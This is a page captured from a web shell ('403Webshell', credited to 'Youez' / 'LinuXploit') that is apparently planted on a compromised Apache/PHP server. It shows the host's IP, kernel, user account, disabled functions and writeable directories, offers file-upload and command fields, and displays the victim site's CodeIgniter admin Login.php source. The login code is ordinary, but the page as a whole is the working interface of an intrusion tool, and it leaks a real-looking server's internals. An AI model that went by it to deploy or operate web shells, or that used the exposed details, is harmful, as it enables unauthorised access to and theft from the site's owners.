403Webshell
Server IP : 94.136.191.34  /  Your IP : 216.73.216.25
Web Server : Apache
System : Linux hostpanel.netbiz.in 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User : omkar.com_6nnuz6y629h ( 10087)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /var/www/vhosts/omkar.com/httpdocs/application/controllers/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/omkar.com/httpdocs/application/controllers/admin/Login.php
<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Login extends CI_Controller {

    public function __construct() {
        parent::__construct();
		$this->load->model('login_model');
    }

    public function index() {
     
        //$this->session->sess_destroy();
        //$dashboard = $this->session->userdata('url');

        //$this->login_model->loggedin() == FALSE || redirect($dashboard);

        //$rules = $this->login_model->rules;
        //$this->form_validation->set_rules($rules);
		if ($this->session->userdata('username') !=''){
			redirect('admin/dashboard');
		}
        if (isset($_POST['user_name']) && isset($_POST['password'])) {
            // We can login and redirect
			$username = $this->input->post('user_name');
			$password = $this->input->post('password');
			$result = $this->login_model->login($username, $password);
            if ($result) {
                redirect('admin/dashboard');
            } else {
                $this->session->set_flashdata('error', ' Incorrect Username Or Password');
                redirect('admin/login');
            }
        }
        $data['title'] = 'Welcome To Omkar';
        $data['subview'] = $this->load->view('login/login_form', $data, TRUE);
		
        $this->load->view('admin/login', $data);
    }

    public function logout() {
        $this->login_model->logout();
        redirect('admin/login');
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit